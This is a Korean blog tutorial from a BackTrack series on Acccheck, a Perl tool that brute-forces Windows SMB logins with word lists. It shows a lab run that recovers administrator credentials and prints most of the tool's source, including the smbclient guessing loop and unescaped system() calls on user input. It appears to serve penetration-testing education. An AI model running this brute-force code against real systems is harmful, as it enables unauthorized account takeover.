Open Source/BackTrack

[BackTrack5 R3] Acccheck

DarkSoul.Story 2013. 2. 12. 10:19
반응형



개요

Acccheck SMB 프로토콜을 통해 Windows 인증을 대상으로 암호 사전 공격 (password dictionaryattack) 도구로 설계되었으며대상 시스템에 smbclient를 사용하여 NetBIOS 서비스IPC $ ADMIN $ 공유에 연결을 시도하고사전 암호 파일을 통해 주어진 계정의 암호를 찾거나경우에 따라사전에 준비된 유추할 수 있는 계정 정보 파일과 사전 암호 파일을 이용하여, windows 계정과 암호를조합 한다.


테스트 환경 (해당 될시에만)

운영 체제 (OS) : BackTrack5R3

                      Windows XP SP3

사용 도구 버전  : Acccheckv0.2.1


 

상세 분석


주요 옵션 설명

-t    목표 시스템 단일 IP

-T    목표 시스템 복수 IP 파일 (IP리스트 파일)

optional :

-p 단일 패스워드 지정

-P 사전 암호 파일 지정

-u 단일 유저 (단일 계정)

-U 사전 유저 파일 지정 (유추할 수 있는 계정 정보 파일)

-v 자세히   



여기서 User.txt 와 pass.txt는 필자가 미리 작성한 계정 및 패스워드 정보 파일임을 참고하기 바란다.



SUCCESS.... connected to 192.168.119.133 with username:'administrator' and password:'toor'

SUCCESS.... connected to 192.168.119.133 with username:'john' and password:'test'

End of Scan

 

위에서 보듯이 192.168.119.133의 계정과 암호를 확인 할수 있다만약 IPC $ ADMIN $ 공유설정이 되어 있지 않다면타겟의 계정과 암호에대한결과를 얻을 수 없게 된다.

위의 내용을 와이어샤크를 이용하여 패킷을 살펴보면 더욱 이해하기 쉽니다아래는와이어샤크를 이용하여 acccheck의 패킷을 확인한 결과 이다



앞에서도 언급한 SMB 프로토콜을 이용하여목표 IP에 연결을 지속적으로 시도하는 것을 볼 수 있다.

또한 acccheck를 이용하여연결을성공한 계정과 암호의 결과는 /pentest/passwords/acccheck/에 “cracked” 이름의 파일에 친절하게 저장되어 있어언제든지 다시목표시스템 IP와 해당 계정/암호를 확인 할 수 있다.



이제acccheck의 소스코드들을 살펴보도록 하자. 가장 먼저 보이는 부분이 옵션값을 입력 받는 부분이다.


#main

{

         $SIG{"INT"= "cleanup";

 

         #get options from command line

         getopts("t:T:p:P:u:U:v");

 

         if($opt_t)

         {

                 system("echo $opt_t > t.txt");

                 $INPUTFILE = "t.txt";

                 $inputFile = 1;

         }

         if($opt_T)

         {

 

                 $INPUTFILE = $opt_T;

                 $inputFile = 1;

         }

         if($opt_p)

         {

                 system("echo $opt_p > p.txt");

                 $PASSFILE = "p.txt";

                 $passFile = 1;

         }

         if($opt_P)

         {

                 $PASSFILE = $opt_P;

                 $passFile = 1;

         }

         if($opt_u)

         {

                 system("echo $opt_u > u.txt");

                 $USERFILE = "u.txt";

                 $userFile = 1;

         }

         if($opt_U)

         {

                 $USERFILE = $opt_U;

                 $userFile = 1;

         }

         if($opt_v)

         {

                 $verbose = 1;

                 $opt_v = 1;

         }

 

단일 IP인 경우 입력한 IP내용을 t.txt 파일을 만들어 입력 받으며, 동일하게 단일 유저인 경우 u.txt, 단일 패스워드 인경우 p.txt파일을 생성하고 해당 값들을 입력 받는다. 단일 내용이 아닌 파일 형식은 그대로 파일을 이용하게 된다. 그 후 $inputFile, $passFile, $userFile을 1로 세팅하게 된다. 

 

다음으로 살펴 볼 내용은 해당 $inputFile, $passFile, $userFile이 1로 세팅이 되면, 해당 파일들의 내용을 읽어 오는 부분이다.

 

if($inputFile == 1)

         {

                 tie @IP_LIST, 'Tie::File', $INPUTFILE or die "cannot open $INPUTFILE file";

         }

         if($passFile == 1)

         {

                 tie @PASS_LIST, 'Tie::File', $PASSFILE or die "cannot open $PASSFILE file";

         }

         if($userFile == 1)

         {

                 tie @USER_LIST, 'Tie::File', $USERFILE or die "cannot open $USERFILE file";

         }

 

파일들의 내용을 읽어 오는 부분 밑에는 Acccheck를 사용기 전에 $inputFile이 1로 세팅되어 있는지 확인 한다.

만약 $inputFile이 1이 아니고, 0으로 세팅된 경우는 사용 방법 즉, Acccheck를 처음 실행하였을 때 화면을 보여주게 된다. 1로 세팅된 경우는 입력 받은 정보를 가지고 SMB 연결을 시작한다. 파일에 입력된 내용을 가지고 SMB 연결을 모두 시도하면, 위에서 만들었던 t.txt, p.txt, u.txt 파일을 삭제 한다. 

 

if($inputFile == 0)

         {

                 usage();                           
         } 

         else

         {

                 smbConnect();                              
                 cleanup();

         }

 
         exit();

 

sub smbConnect {   

    foreach $singleIp (@IP_LIST)

    {

        chomp($singleIp);

        if(($userFile == 1) and ($passFile == 1))

        {

            foreach $singleUser (@USER_LIST)

            {

                chomp($singleUser);

                foreach $singlePass (@PASS_LIST)

               {

                    chomp($singlePass);

                    if($singlePass)

                   {                

                        output("Host:$singleIp, Username:'$singleUser', Password:'
$singlePass'");

                        $connectValue = system("smbclient \\\\\\\\$singleIp\\\\IPC\$ -U 
'$singleUser'%'$singlePass' -c 'exit' 1> /dev/null 2> /dev/null");

                           if($connectValue == 0)

                           {

                            print"\n        SUCCESS.... connected to $singleIp with username:'
$singleUser' and password:'$singlePass'\n";

                            system("echo Success: Target $singleIp, Username:'$singleUser' 
Password:'$singlePass' >> cracked");

                                    last;

                                        }

                                    }

                                    elsif(!$singlePass)

                                    {

                                        output("Host:$singleIp, Username:'$singleUser'
, Password:'$singlePass'");

                                        $connectValue = system("smbclient \\\\\\\\
$singleIp\\\\admin\$ -U 
'$singleUser'%'$singlePass' -c 'exit' 1> /dev/null 2> /dev/null");

                                          if($connectValue == 0)

                                                {

                                                        print"\n        SUCCESS.... 
connected to $singleIp with username:'$singleUser' and password:'$singlePass'\n";

                                                        system("echo Success: Target 
$singleIp, Username:'$singleUser' Password:'$singlePass' >> cracked");

                                                        last;

                                                }

 
                                            }

                                   }

                          }

                          print"\nEnd of Scan\n\n";

                            }

  

sub cleanup {

            system("rm -rf t.txt p.txt u.txt");

            exit();     


참고 URL 및 도서

http://securityfocus.eu/?p=856

 


반응형

'Open Source > BackTrack' 카테고리의 다른 글

[BackTrack5 R3] Ophcrack-GUI  (0) 2013.02.12
[BackTrack5 R3] Ophcrack  (0) 2013.02.12
[BackTrack5 R1] Ferret  (0) 2013.02.12
[BackTrack5 R1] TShark  (0) 2013.02.12
[BackTrack5 R3] Lynis  (0) 2013.02.12